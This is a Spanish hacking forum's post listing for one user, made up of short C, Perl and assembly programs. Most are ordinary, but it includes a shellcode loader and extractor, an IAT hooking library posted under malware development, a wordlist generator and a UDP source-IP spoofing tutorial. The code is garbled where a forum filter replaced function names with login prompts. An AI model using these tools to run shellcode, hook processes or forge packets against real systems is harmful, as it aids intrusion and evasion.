  59.    for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
  60.    {
  61.       You are not allowed to view links. Register or Login(archivo, "%s %i\n", consulta->nombre, consulta->nota);
  62.    }
  63.    You are not allowed to view links. Register or Login(archivo, "%s %i\n", consulta->nombre, consulta->nota);
  64.    You are not allowed to view links. Register or Login(archivo);
  65. }
  66.  
  67. void cargar_lista()
  68. {
  69.    FILE *archivo=You are not allowed to view links. Register or Login("archivo", "r");
  70.    struct alumnos consulta;
  71.    You are not allowed to view links. Register or Login(archivo, "%s %i", consulta.nombre, &consulta.nota);
  72.    while(!You are not allowed to view links. Register or Login(archivo))
  73.    {
  74.       nuevo_alumno(consulta.nombre, consulta.nota);
  75.       You are not allowed to view links. Register or Login(archivo, "%s %i", consulta.nombre, &consulta.nota);
  76.    }
  77.    You are not allowed to view links. Register or Login(archivo);
  78. }
  79.  
  80. void borrar_alumno(char *nombre)
  81. {
  82.    struct alumnos *consulta, *buffer;
  83.    buffer=actual;
  84.    for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
  85.    {
  86.       if(You are not allowed to view links. Register or Login(consulta->nombre, nombre))
  87.       {
  88.          buffer=consulta;
  89.       }
  90.       else
  91.       {
  92.          buffer->last=consulta->last;
  93.          You are not allowed to view links. Register or Login(consulta);
  94.          return;
  95.       }
  96.    }
  97.  
  98.    buffer->last=NULL;
  99.    You are not allowed to view links. Register or Login(consulta);
  100.    
  101. }
  102. int buscar_alumno(char *nombre)
  103. {
  104.    struct alumnos *consulta;
  105.    for(consulta=actual;consulta->last!=NULL;consulta=consulta->last)
  106.    {
  107.       if(!You are not allowed to view links. Register or Login(consulta->nombre, nombre))
  108.       {
  109.          return consulta->nota;
  110.       }
  111.    }
  112.    if(!You are not allowed to view links. Register or Login(consulta->nombre, nombre))
  113.    {
  114.       return consulta->nota;
  115.    }
  116.    return -1;
  117. }
  118.  
  119. int main()
  120. {
  121.    //~ char nombre[15];
  122.    //~ int nota;
  123.    //~ while((getchar())!=' ')
  124.    //~ {
  125.       //~ printf("Introduzca nombre y nota: ");
  126.       //~ scanf("%s %i", nombre, &nota);
  127.       //~ setbuffer(stdin, 0, 0);
  128.       //~ nuevo_alumno(nombre, nota);
  129.       //~ mostrar_lista();
  130.    //~ }
  131.    //~ guardar_lista();
  132.    //~ borrar_lista();
  133.    
  134.    cargar_lista();
  135.    mostrar_lista();
  136.    borrar_alumno("Aurelio");
  137.    You are not allowed to view links. Register or Login("%i", buscar_alumno("Irene"));
  138.    borrar_lista();
  139.    
  140.    return 0;
  141. }
  142.  

Sa1uDoS

7
Códigos Fuentes / [C] Generador de diccionarios(Comando)
« en: Mayo 19, 2013, 10:38:07 am »
Bueno, sin mas, un codigo como el anterior pero un poco mas complejo ;).

Metodo de uso
Código: You are not allowed to view links. Register or Login
dic [longitud del diccionario] (opcional)[caracteres del diccionario]
Si no se especifica el 2º parametro, se utilizaran los que vienen por defecto osea, "abcdefghijklmnopqrstuvwxyz".

Sin mas explicacion, el codigo.

Código: C
  1. #include <stdio.h>
  2.  
  3. #include <stdlib.h>
  4.  
  5. #include <string.h>
  6.  
  7.  
  8.  
  9. int main(int argc, char *argv[])
  10.  
  11. {   if(argc < 2 || !You are not allowed to view links. Register or Login(argv[1], "-h")) //Texto de ayuda
  12.  
  13.    {
  14.  
  15.       You are not allowed to view links. Register or Login("HELP: \nsintax: dic [len_dic] (optional)[list]");
  16.  
  17.       return 1;
  18.  
  19.    }
  20.  
  21.    
  22.  
  23.    int len=0, cont=You are not allowed to view links. Register or Login(argv[1]), *cad, i, ver=1; //Declaracion
  24.  
  25.    cad=(int *)You are not allowed to view links. Register or Login(sizeof(int) * You are not allowed to view links. Register or Login(argv[1])); //Reserva de memoria para un array int
  26.  
  27.    You are not allowed to view links. Register or Login((int *)cad,0,sizeof(int) * You are not allowed to view links. Register or Login(argv[1]));//Inicializamos el array a 0
  28.  
  29.    char *lst;//Declaracion de la lista que contendra las posibilidades
  30.  
  31.    
  32.  
  33.    if(argc < 3) //Comprobamos el numero de parametros introducidos para hacer una cosa u otra
  34.  
  35.    {
  36.  
  37.       lst=(char *)You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login("abcdefghijklmnopqrstuvwxyz")+1);
  38.  
  39.       You are not allowed to view links. Register or Login(lst, "abcdefghijklmnopqrstuvwxyz");
  40.  
  41.    }
  42.  
  43.    else if(argc == 3)
  44.  
  45.    {
  46.  
  47.          
  48.  
  49.          lst=(char *)You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(argv[2])+1);
  50.  
  51.          if(!lst)
  52.  
  53.          {
  54.  
  55.             You are not allowed to view links. Register or Login("No se pudo reservar la memoria");
  56.  
  57.             return 1;
  58.  
  59.          }
  60.  
  61.          You are not allowed to view links. Register or Login(lst, argv[2]);
  62.  
  63.    }
  64.  
  65.    
  66.  
  67.    while(len+1<=cont)//Comienza el ciclo de generacion
  68.  
  69.    {
  70.  
  71.       if(lst[cad[0]]!='\0')
  72.  
  73.       {
  74.  
  75.          for(i=0;i<=len;i++)
  76.  
  77.          {
  78.  
  79.             You are not allowed to view links. Register or Login(lst[cad[i]]);        
  80.  
  81.          }
  82.  
  83.          You are not allowed to view links. Register or Login('\n');
  84.  
  85.       }
  86.  
  87.       if(lst[cad[0]]!='\0')
  88.  
  89.       {
  90.  
  91.          cad[0]++;
  92.  
  93.       }
  94.  
  95.       else
  96.  
  97.       {
  98.  
  99.             ver=0;
  100.  
  101.          for(i=0;i<=len;i++)
  102.  
  103.          {
  104.  
  105.             if(lst[cad[i]]=='\0')
  106.  
  107.             {
  108.  
  109.                cad[i]=0;
  110.  
  111.                cad[i+1]++;
  112.  
  113.             }
  114.  
  115.             else
  116.  
  117.             {
  118.  
  119.                ver=1;
  120.  
  121.             }
  122.  
  123.          }
  124.  
  125.       }
  126.  
  127.       if(ver==0)
  128.  
  129.       {
  130.  
  131.          len++;
  132.  
  133.          for(i=0;i<=len;i++)
  134.  
  135.          {
  136.  
  137.             cad[i]=0;
  138.  
  139.          }
  140.  
  141.          ver=1;
  142.  
  143.       }
  144.  
  145.    }
  146.  
  147.    You are not allowed to view links. Register or Login(lst);
  148.  
  149.    You are not allowed to view links. Register or Login(cad);
  150.  
  151.    return 0;
  152.  
  153. }
  154.  

Sa1uDoS

P.D.: Mejorado para Luxur, el SO de Taul.

8
Códigos Fuentes / [C] Prueba shellcodes
« en: Mayo 15, 2013, 04:01:36 pm »
Bueno, el titulo lo dice casi todo. Solo me queda decir que se usa de este modo:
Código: You are not allowed to view links. Register or Login
./shell_prueba shellcode. Donde shellcode seria el fichero que nos devuelve el compilador de asm en binario ;).

Sin mas, el codigo es muy simple... solo carga los bytes en memoria y utiliza el buffer para ejecutar el codigo como si fuera una funcion. Si estais en ubuntu compilad con -z execstack para que no os de problemas.

Código: C
  1. #include <malloc.h>
  2. #include <stdio.h>
  3.  
  4. int longitud(FILE *archivo);
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.    if(argc < 2)
  9.    {
  10.       You are not allowed to view links. Register or Login("Necesita un parametro");
  11.       return 1;
  12.    }
  13.    int longi, i;
  14.    char *shellcode;
  15.    FILE *archivo=You are not allowed to view links. Register or Login(argv[1], "rb");
  16.    longi=longitud(archivo);
  17.    shellcode=(char *)You are not allowed to view links. Register or Login(longi);
  18.    for(i=0;i<longi;i++)
  19.    {
  20.       shellcode[i]=You are not allowed to view links. Register or Login(archivo);
  21.    }  
  22.    You are not allowed to view links. Register or Login(archivo);
  23.    ((void(*)())shellcode)();
  24.    You are not allowed to view links. Register or Login(shellcode);
  25.    return 0;
  26. }
  27.  
  28. int longitud(FILE *archivo)
  29. {
  30.    int longi;
  31.    You are not allowed to view links. Register or Login(archivo, 0, SEEK_END);
  32.    longi=You are not allowed to view links. Register or Login(archivo);
  33.    You are not allowed to view links. Register or Login(archivo, 0, SEEK_SET);
  34.    return longi;
  35. }
  36.  

Sa1uDoS

9
Códigos Fuentes / [C] Extrae shellcodes
« en: Mayo 15, 2013, 04:00:37 pm »
Este codigo es muy simple. Es un programa que lee el fichero donde se encuentra nuestra shellcode en binario y lo muestra con el \x delante, listo para copiar  y pegar en nuestro programa de C.

Código: C
  1. #include <stdio.h>
  2.  
  3. int longitud(FILE *archivo);
  4.  
  5. int main(int argc, char *argv[])
  6. {
  7.    int longi,i;
  8.    if(argc < 2)
  9.    {
  10.       You are not allowed to view links. Register or Login("Necesita un parametro");
  11.       return 1;
  12.    }
  13.    FILE *archivo=You are not allowed to view links. Register or Login(argv[1], "rb");
  14.    longi=longitud(archivo);
  15.    You are not allowed to view links. Register or Login("char shellcode[]=\"");
  16.    for(i=0;i<longi;i++)
  17.    {
  18.       You are not allowed to view links. Register or Login("\\x%x", You are not allowed to view links. Register or Login(archivo));
  19.    }
  20.    You are not allowed to view links. Register or Login("\";\n");
  21.    You are not allowed to view links. Register or Login(archivo);
  22.    return 0;
  23. }
  24.  
  25. int longitud(FILE *archivo)
  26. {
  27.    int longi;
  28.    You are not allowed to view links. Register or Login(archivo, 0, SEEK_END);
  29.    longi=You are not allowed to view links. Register or Login(archivo);
  30.    You are not allowed to view links. Register or Login(archivo, 0, SEEK_SET);
  31.    return longi;
  32. }
  33.  

Sa1uDoS

10
Códigos Fuentes / [C] Interprete de Brainfuck
« en: Mayo 15, 2013, 04:00:05 pm »
Bueno, en un largo rato de aburrimiento he creado un interprete de Brainfuck. No se porque, pero me esta gustando este "lenguaje".

Código: C
  1. #include <stdio.h>
  2.  
  3. #define MAX 100
  4.  
  5. int array[MAX]={0}, i=0;
  6. FILE *archivo;
  7.  
  8. void interprete(int instruccion);
  9.  
  10. int main(int argc, char *argv[])
  11. {
  12.    int instruccion;
  13.    if(argc < 1)
  14.    {
  15.       return 1;
  16.    }
  17.    archivo=You are not allowed to view links. Register or Login(argv[1], "r");
  18.    while((instruccion=You are not allowed to view links. Register or Login(archivo))!=EOF)
  19.    {
  20.       interprete(instruccion);
  21.    }
  22.    You are not allowed to view links. Register or Login(archivo);
  23.    You are not allowed to view links. Register or Login('\n');
  24.    return 0;
  25. }
  26.  
  27. void interprete(int instruccion)
  28. {
  29.    int pos, inst_bucle;
  30.    switch(instruccion)
  31.    {
  32.       case '.':
  33.          You are not allowed to view links. Register or Login(array[i]);
  34.          break;
  35.       case ',':
  36.          array[i]=You are not allowed to view links. Register or Login();
  37.          break;
  38.       case '>':
  39.          i++;
  40.          break;
  41.       case '<':
  42.          i--;
  43.          break;
  44.       case '+':
  45.          array[i]++;
  46.          break;
  47.       case '-':
  48.          array[i]--;
  49.          break;
  50.       case '[':
  51.          pos=You are not allowed to view links. Register or Login(archivo);
  52.          while(array[i]!=0)
  53.          {
  54.             You are not allowed to view links. Register or Login(archivo, pos, SEEK_SET);
  55.             inst_bucle=You are not allowed to view links. Register or Login(archivo);
  56.             while(inst_bucle !=']' && inst_bucle != EOF)
  57.             {
  58.                interprete(inst_bucle);
  59.                inst_bucle=You are not allowed to view links. Register or Login(archivo);
  60.             }
  61.          }
  62.    }
  63. }
  64.  

Sa1uDoS

11
Perl / [Perl] Desofuscador de Batchs
« en: Mayo 15, 2013, 03:58:54 pm »
Aqui traigo un codigo en Perl que sirve para desofuscar Batchs, con los que he probado funciona bien. Si da errores reportadlo y veo como arreglarlo ;).

El codigo.

Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. my %vars;
  4. my @newcode="";
  5.  
  6. You are not allowed to view links. Register or Login(FILE, "<$ARGV[0]");
  7. @codigo=<FILE>;
  8. You are not allowed to view links. Register or Login(FILE);
  9.  
  10. foreach $linea(@codigo)
  11. {
  12.    if($linea=~/set (.+)="(.+)"/)
  13.    {
  14.       $vars{$1}=$2;
  15.    }
  16.    $linea=~You are not allowed to view links. Register or Login/%(\w+):~(\d+),(\d+)%/You are not allowed to view links. Register or Login($vars{$1},$2-1,$3)/eg;
  17.    You are not allowed to view links. Register or Login(@newcode,$linea);
  18. }
  19. You are not allowed to view links. Register or Login @newcode;
  20.  

Sa1uDoS

12
Dudas y pedidos generales / [SOLUCIONADO] Problema con quotes
« en: Mayo 14, 2013, 04:11:13 pm »
Es normal que al darle a Citar en los post me aparezca un cartel de "Cargando..." y jamás termine de cargar? Uso Chromium pero me pasa también en Firefox bajo ArchLinux.

Solo quiero saber si le pasa a alguien mas, si es un fallo del foro y, en ese caso, si tienen pensado arreglarlo ;).

Sa1uDoS

13
Códigos Fuentes / [C] Explorando la IT
« en: Mayo 14, 2013, 02:40:21 am »
Pues traigo un programa que busca X funcion en X libreria en su propia Import Table. No hay mucha explicacion. Esta bastante chapucero solo queria que pudieran ver un codigo sencillo que haga esto.

Código: C
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <windows.h>
  4.  
  5. int main()
  6. {
  7.         const char libreria[]="KERNEL32.dll";
  8.         const char funcion[]="ExitProcess";
  9.         DWORD image_base=(DWORD)GetModuleHandleA(0);
  10.         PIMAGE_DOS_HEADER DOS;
  11.         PIMAGE_NT_HEADERS NT;
  12.         PIMAGE_IMPORT_DESCRIPTOR IT;
  13.         PIMAGE_IMPORT_BY_NAME *IMPORTED_FUNCTIONS;
  14.         PIMAGE_THUNK_DATA Funcion;
  15.         DWORD *IMPORTED_DLL_NAME;
  16.         DWORD *IMPORTED_FUNCTION_NAME;
  17.         unsigned int i=0;
  18.        
  19.         DOS=(PIMAGE_DOS_HEADER)image_base;
  20.         NT=(PIMAGE_NT_HEADERS)(DOS->e_lfanew + image_base);
  21.         IT=(PIMAGE_IMPORT_DESCRIPTOR)(NT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + image_base);
  22.         IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);
  23.        
  24.         while( (IT->Name) != 0 )
  25.         {
  26.                 IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);
  27.                 if(!You are not allowed to view links. Register or Login((char *)IMPORTED_DLL_NAME, libreria))
  28.                 {
  29.                         You are not allowed to view links. Register or Login("%s\n", (char *)IMPORTED_DLL_NAME);
  30.                         break;
  31.                 }
  32.                 IT++;
  33.         }
  34.        
  35.         IMPORTED_FUNCTIONS=(PIMAGE_IMPORT_BY_NAME *)(IT->Characteristics + image_base);
  36.        
  37.         for(i=0;;i++)
  38.         {
  39.                 IMPORTED_FUNCTION_NAME=(DWORD *)((*IMPORTED_FUNCTIONS)->Name + image_base);
  40.                 if(((*IMPORTED_FUNCTIONS)!=0) && (!You are not allowed to view links. Register or Login((char *)IMPORTED_FUNCTION_NAME, funcion)))
  41.                 {
  42.                         You are not allowed to view links. Register or Login("\t%s\n", (char *)IMPORTED_FUNCTION_NAME);
  43.                         break;
  44.                 }
  45.                 IMPORTED_FUNCTIONS++;
  46.         }
  47.        
  48.         Funcion=(PIMAGE_THUNK_DATA)(IT->FirstThunk + image_base);
  49.         Funcion+=i;
  50.         You are not allowed to view links. Register or Login("\t\tDireccion funcion: %p \t Addr en IT: %p\n", *Funcion, Funcion);
  51.         You are not allowed to view links. Register or Login();
  52.         return 0;
  53. }
  54.  

Sa1uDoS

14
Códigos Fuentes / [C] Funcion Split
« en: Mayo 14, 2013, 02:39:36 am »
Yo no he visto fallos, si los encontrais, comentadlos por favor. No tiene control de errores, lo hice para dar una idea ;).

Código: C
  1. #include <stdio.h>
  2. #include <malloc.h>
  3. #include <string.h>
  4.  
  5. int len_palabra(char *cadena, int inicio, char separador);
  6. char **split(char *cadena, char separador);
  7.  
  8. int main()
  9. {
  10.    char cadena[]="MrBlood.split.crea.funcion";
  11.    int i;
  12.    char **retorno=split(cadena, '.');
  13.    for(i=0;retorno[i]!=NULL;i++)
  14.    {
  15.       You are not allowed to view links. Register or Login("%s\n", retorno[i]);
  16.       You are not allowed to view links. Register or Login(retorno[i]);
  17.    }
  18.    You are not allowed to view links. Register or Login(retorno);
  19.    return 0;
  20. }
  21.  
  22. int len_palabra(char *cadena, int inicio, char separador)
  23. {
  24.    int len=0, i=inicio;
  25.    while(cadena[i]!=separador&&cadena[i]!='\0')
  26.    {
  27.       len++;
  28.       i++;
  29.    }
  30.    return len;
  31. }
  32.  
  33. char **split(char *cadena, char separador)
  34. {
  35.    int num_palabras=1, len_cadena=You are not allowed to view links. Register or Login(cadena), i, j=1, *inicios;
  36.    for(i=0;i<len_cadena;i++)
  37.    {
  38.       if(cadena[i]==separador)
  39.       {
  40.          num_palabras++;
  41.       }
  42.    }
  43.    inicios=You are not allowed to view links. Register or Login(sizeof(int)*num_palabras);
  44.    inicios[0]=0;
  45.    for(i=1;i<len_cadena;i++)
  46.    {
  47.       if(cadena[i]==separador)
  48.       {
  49.          inicios[j]=i+1;
  50.          j++;
  51.       }
  52.    }
  53.    char **retorno=You are not allowed to view links. Register or Login(sizeof(char *)*num_palabras+1);
  54.    retorno[num_palabras]=NULL;
  55.    for(i=0;i<num_palabras;i++)
  56.    {
  57.       j=len_palabra(cadena, inicios[i], separador);
  58.       retorno[i]=(char *)You are not allowed to view links. Register or Login(sizeof(char)*j);
  59.       You are not allowed to view links. Register or Login(retorno[i], &cadena[inicios[i]], j);
  60.       retorno[i][j]='\0';
  61.    }
  62.    You are not allowed to view links. Register or Login(inicios);
  63.    return retorno;
  64. }
  65.  

Sa1uDoS

15
Desarrollo y modificación de malwares / [C] Libreria Hook IAT
« en: Mayo 14, 2013, 02:37:59 am »
Por si a alguien le ayuda. Es mejorable, no tiene ningun control de errores era solo para mostrar la idea ;).

No pierdo mas tiempo, el code.

hookiat.c
Código: C
  1. #include "hookiat.h"
  2.  
  3. void HookIAT(char *tohooklibrary, char *tohookfunc, void *newfunc)
  4. {
  5.    DWORD image_base=GetModuleHandleA(0);
  6.    PIMAGE_DOS_HEADER DOS;
  7.    PIMAGE_NT_HEADERS NT;
  8.    PIMAGE_IMPORT_DESCRIPTOR IT;
  9.    PIMAGE_IMPORT_BY_NAME *IMPORTED_FUNCTIONS;
  10.    PIMAGE_THUNK_DATA Funcion;
  11.    DWORD *IMPORTED_DLL_NAME;
  12.    DWORD *IMPORTED_FUNCTION_NAME;
  13.    unsigned int i=0;
  14.    
  15.    DOS=(PIMAGE_DOS_HEADER)image_base;
  16.    NT=(PIMAGE_NT_HEADERS)(DOS->e_lfanew + image_base);
  17.    IT=(PIMAGE_IMPORT_DESCRIPTOR)(NT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + image_base);
  18.    IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);
  19.    
  20.    while( (IT->Name) != 0 )
  21.    {
  22.       IMPORTED_DLL_NAME=(DWORD *)(IT->Name + image_base);
  23.       if(!You are not allowed to view links. Register or Login((char *)IMPORTED_DLL_NAME, tohooklibrary))
  24.       {
  25.          break;
  26.       }
  27.       IT++;
  28.    }
  29.    
  30.    IMPORTED_FUNCTIONS=(PIMAGE_IMPORT_BY_NAME *)(IT->Characteristics + image_base);
  31.    
  32.    for(i=0;;i++)
  33.    {
  34.       IMPORTED_FUNCTION_NAME=(DWORD *)((*IMPORTED_FUNCTIONS)->Name + image_base);
  35.       if(((*IMPORTED_FUNCTIONS)!=0) && (!You are not allowed to view links. Register or Login((char *)IMPORTED_FUNCTION_NAME, tohookfunc)))
  36.       {
  37.          break;
  38.       }
  39.       IMPORTED_FUNCTIONS++;
  40.    }
  41.    
  42.    Funcion=(PIMAGE_THUNK_DATA)(IT->FirstThunk + image_base);
  43.    Funcion+=i;
  44.    ORIGINAL_FUNCTION=(void *)Funcion->u1.Function;
  45.    Funcion->u1.Function=(DWORD)newfunc;
  46. }
  47.  

hookiat.h
Código: C
  1. #include <string.h>
  2. #include <windows.h>
  3.  
  4. void *ORIGINAL_FUNCTION;
  5.  
  6. void HookIAT(char *tohooklibrary, char *tohookfunc, void *newfunc);
  7.  

Espero que a alguien le sirva. No hagais muchas maldades con el :P.

Sa1uDoS

16
Hacking / [TUTO] UDP/IP Spoofing con PERL
« en: Mayo 13, 2013, 07:41:46 pm »
De mr.blood para You are not allowed to view links. Register or Login



Hoy tratamos el tema de IP Spoofing sobre el protocolo UDP, pues es mas facil (no tiene comprobaciones) y el concepto es el mismo.

Primero, que es Spoofear una IP:
 Es enviar datos con una IP falsa. Problemas que plantea, no recibiremos la respuesta del servidor, por lo que no es valido para mantener una comunicacion, solo nos puede servir para enviar un paquete "anonimo".
Montaremos un pequeño servidor en Perl que solo nos muestre la IP y los datos.

Codigo servidor.
Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. use IO::Socket::INET;
  4.  
  5. my ($socket, $datos);
  6. $socket = new IO::Socket::INET(LocalPort=>5000, Proto=>"udp");
  7. while(1)
  8. {
  9.         $socket->You are not allowed to view links. Register or Login($datos, 1024);
  10.         You are not allowed to view links. Register or Login $socket->peerhost()." $datos";
  11. }
  12. $socket->You are not allowed to view links. Register or Login();
 
 Bien, lo que tenemos que hacer para Spoofear una IP es crear la cabecera IP (y la UDP) cambiando el campo que contiene nuestra IP por la que queramos. Es facil de entender pero programar el cliente me rompio la cabeza
Como no queremos liarnos mas de lo necesario dejamos los checksum a 0.

Codigo cliente.
Código: Perl
  1. #!/usr/bin/perl
  2. use Socket;
  3. use strict;
  4.  
  5. #~ Datos
  6. my $data        =       "Hi!\n";
  7. #~ UDP Header
  8. my %udp         =       (sport=>(You are not allowed to view links. Register or Login(3000)+5001), dport=>5000, len=>8+You are not allowed to view links. Register or Login($data), checksum=>0);
  9. #~ IP Header
  10. my %ip          =       (version=>4, IHL=>"45", ToS=>0, TL=>0, ID=>You are not allowed to view links. Register or Login(20000), flags=>"010", FO=>"0"x13, TTL=>64,
  11.                                 Proto=>17, checksum=>0, saddr=>(You are not allowed to view links. Register or Login("111.111.111.111"))[4],
  12.                                 daddr=>(You are not allowed to view links. Register or Login("127.0.0.1"))[4]);
  13.  
  14. #~ Esto es cosa del protocolo IP, los flags y FO van "juntos"
  15. my $ip_flags_FO=$ip{flags}.$ip{FO};
  16.  
  17. #~ Preparamos el paquete
  18. my $paquete=You are not allowed to view links. Register or Login("H2H2nnB16C2na4a4", $ip{IHL}, $ip{ToS}, $ip{TL}, $ip{ID},
  19.                         $ip_flags_FO, $ip{TTL}, $ip{Proto},
  20.                         $ip{checksum}, $ip{saddr},      $ip{daddr}).You are not allowed to view links. Register or Login("nnnn",$udp{sport},
  21.                         $udp{dport}, $udp{len}, $udp{checksum}).You are not allowed to view links. Register or Login("a*", $data);
  22.  
  23. #~ Creamos el descriptor en SOCK del tipo SOCK_RAW
  24. You are not allowed to view links. Register or Login(SOCK, AF_INET, SOCK_RAW, 255);
  25. #~ Para que la funcion send sepa donde enviarlo
  26. my $destino = You are not allowed to view links. Register or Login('Sna4x8', AF_INET, $udp{dport}, $ip{daddr});
  27. You are not allowed to view links. Register or Login(SOCK,$paquete,0,$destino);

Fuentes:
You are not allowed to view links. Register or Login (Me apoye para los pack)
You are not allowed to view links. Register or Login (Me apoye para los pack tambien)
Propia (Horas mirando con Wireshark)
You are not allowed to view links. Register or Login

17
Perl / Creando paquetes UDP
« en: Mayo 13, 2013, 07:39:40 pm »
De mr.blood para You are not allowed to view links. Register or Login

Como no queremos liarnos mas de lo necesario dejamos los checksum a 0.

Codigo cliente.

Código: Perl
  1. #!/usr/bin/perl
  2. use Socket;
  3. use strict;
  4.  
  5. #~ Datos
  6. my $data        =       "Hi!\n";
  7. #~ UDP Header
  8. my %udp         =       (sport=>(You are not allowed to view links. Register or Login(3000)+5001), dport=>5000, len=>8+You are not allowed to view links. Register or Login($data), checksum=>0);
  9. #~ IP Header
  10. my %ip          =       (version=>4, IHL=>"45", ToS=>0, TL=>0, ID=>You are not allowed to view links. Register or Login(20000), flags=>"010", FO=>"0"x13, TTL=>64,
  11.                                 Proto=>17, checksum=>0, saddr=>(You are not allowed to view links. Register or Login("111.111.111.111"))[4],
  12.                                 daddr=>(You are not allowed to view links. Register or Login("127.0.0.1"))[4]);
  13.  
  14. #~ Esto es cosa del protocolo IP, los flags y FO van "juntos"
  15. my $ip_flags_FO=$ip{flags}.$ip{FO};
  16.  
  17. #~ Preparamos el paquete
  18. my $paquete=You are not allowed to view links. Register or Login("H2H2nnB16C2na4a4", $ip{IHL}, $ip{ToS}, $ip{TL}, $ip{ID},
  19.                         $ip_flags_FO, $ip{TTL}, $ip{Proto},
  20.                         $ip{checksum}, $ip{saddr},      $ip{daddr}).You are not allowed to view links. Register or Login("nnnn",$udp{sport},
  21.                         $udp{dport}, $udp{len}, $udp{checksum}).You are not allowed to view links. Register or Login("a*", $data);
  22.  
  23. #~ Creamos el descriptor en SOCK del tipo SOCK_RAW
  24. You are not allowed to view links. Register or Login(SOCK, AF_INET, SOCK_RAW, 255);
  25. #~ Para que la funcion send sepa donde enviarlo
  26. my $destino = You are not allowed to view links. Register or Login('Sna4x8', AF_INET, $udp{dport}, $ip{daddr});
  27. You are not allowed to view links. Register or Login(SOCK,$paquete,0,$destino);
  28.  

Fuentes:
You are not allowed to view links. Register or Login (Me apoye para los pack)
You are not allowed to view links. Register or Login (Me apoye para los pack tambien)
Propia (Horas mirando con Wireshark)
You are not allowed to view links. Register or Login

Sa1uDoS

P.D.: Como vereis por las fuentes los pack no son lo mio xD.

18
Electrónica y Robótica / [ASM] Programando un PIC
« en: Mayo 13, 2013, 07:36:57 pm »
Empecemos aportando algo, creo que vine para quedarme :P.

Dejo el programa comentado.

Código: ASM
  1. STATUS    equ       03h ;Definiciones, para no manejar
  2. TRISA     equ       85h ;direcciones todo el rato.
  3. TRISB     equ       86h
  4. PORTA     equ       05h
  5. PORTB     equ       06h
  6. CONTADOR  equ       08h
  7.    
  8.     org 0x0
  9.           bsf       STATUS,5 ;Cambiamos al banco 1
  10.           movlw     0x0 ;Movemos a W 0
  11.           movwf     TRISA ;Todos los puertos A son de salida
  12.           movlw     0x1 ;Movemos a W 1
  13.           movwf     TRISB ;Todos los puertos B son de salida, menos RB0
  14.           bcf       STATUS,5 ;Volvemos al banco 0
  15.  
  16. Inicio    BTFSS     PORTB,0 ;Comprueba si RB0 es 1, si lo es SALTA LA SIGUIENTE INSTRUCCION
  17.           bcf       PORTA,1 ;Envia 0 por la patilla RA1
  18.           BTFSC     PORTB,0 ;Comprueba si RB0 es 0, si lo es SALTA LA SIGUIENTE INSTRUCCION
  19.           call      Parpadeo ;Llama a Parpadeo
  20.           goto      Inicio ;El bucle se repite
  21.  
  22. Parpadeo  call Duerme ;Llama a Duerme para hacer una pausa
  23.           bsf       PORTA,1 ;Envia 1 por la patilla RA1
  24.           call Duerme ;Llama a Duerme para hacer una pausa
  25.           bcf       PORTA,1 ;Envia 0 por la patilla RA1
  26.           call Duerme
  27.           return
  28.  
  29. Duerme    movlw 0x90 ;Mueve a W 0x90
  30.           movwf CONTADOR ;Mueve W a CONTADOR (CONTADOR(08h)=0x90)
  31. Bucle     decfsz CONTADOR,1 ;Decrementa CONTADOR, y si es 0 SALTA LA SIGUIENTE INSTRUCCION
  32.           goto Bucle ;Vuelve a empezar el bucle
  33.           return ;Return
  34.     end ;Fin del programa

Este seria el montaje, dejo la imagen de Proteus, por si a alguien mas le interesa esto ;).


Comento un poco el funcionamiento: Si el boton esta cerrado, el LED parpadea. Si el boton esta abierto, el LED se mantiene apagado.

Sa1uDoS

19
Perl / Funcion baja imagenes
« en: Mayo 06, 2011, 01:29:46 pm »
Bueno, creo que este es mi 2º post aqui, ojala haya muchos mas ;).

Bien, he venido para traerles una funcion para bajar y guardar una imagen.

Código: Perl
  1. sub down_image
  2. {
  3.    my $host=$_[0];
  4.    my $dir=$_[1];
  5.    my $dest=$_[2];
  6.    use IO::Socket::INET;
  7.    my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp");
  8.    You are not allowed to view links. Register or Login $sock "GET $dir HTTP/1.0\r\nHOST:$host\r\n\r\n";
  9.    my $convert=0;
  10.    my @rec=<$sock>;
  11.    You are not allowed to view links. Register or Login(file,">$dest");
  12.    foreach $rec(@rec)
  13.    {
  14.       if($convert==1)
  15.       {
  16.          You are not allowed to view links. Register or Login file $rec;
  17.       }
  18.       if($rec eq "\r\n")
  19.       {
  20.          $convert=1;
  21.       }
  22.    }
  23.    You are not allowed to view links. Register or Login(file);
  24. }

Ejemplo de uso:

Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. down_image("[url=http://www.hackxcrack.es]www.hackxcrack.es[/url]", "/forum/Themes/citiez_20rc5/images/custom/header.jpg", "foto.jpg");
  4. sub down_image
  5. {
  6.    my $host=$_[0];
  7.    my $dir=$_[1];
  8.    my $dest=$_[2];
  9.    use IO::Socket::INET;
  10.    my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp");
  11.    You are not allowed to view links. Register or Login $sock "GET $dir HTTP/1.0\r\nHOST:$host\r\n\r\n";
  12.    my $convert=0;
  13.    my @rec=<$sock>;
  14.    You are not allowed to view links. Register or Login(file,">$dest");
  15.    foreach $rec(@rec)
  16.    {
  17.       if($convert==1)
  18.       {
  19.          You are not allowed to view links. Register or Login file $rec;
  20.       }
  21.       if($rec eq "\r\n")
  22.       {
  23.          $convert=1;
  24.       }
  25.    }
  26.    You are not allowed to view links. Register or Login(file);
  27. }

Sa1uDoS

Páginas: [1]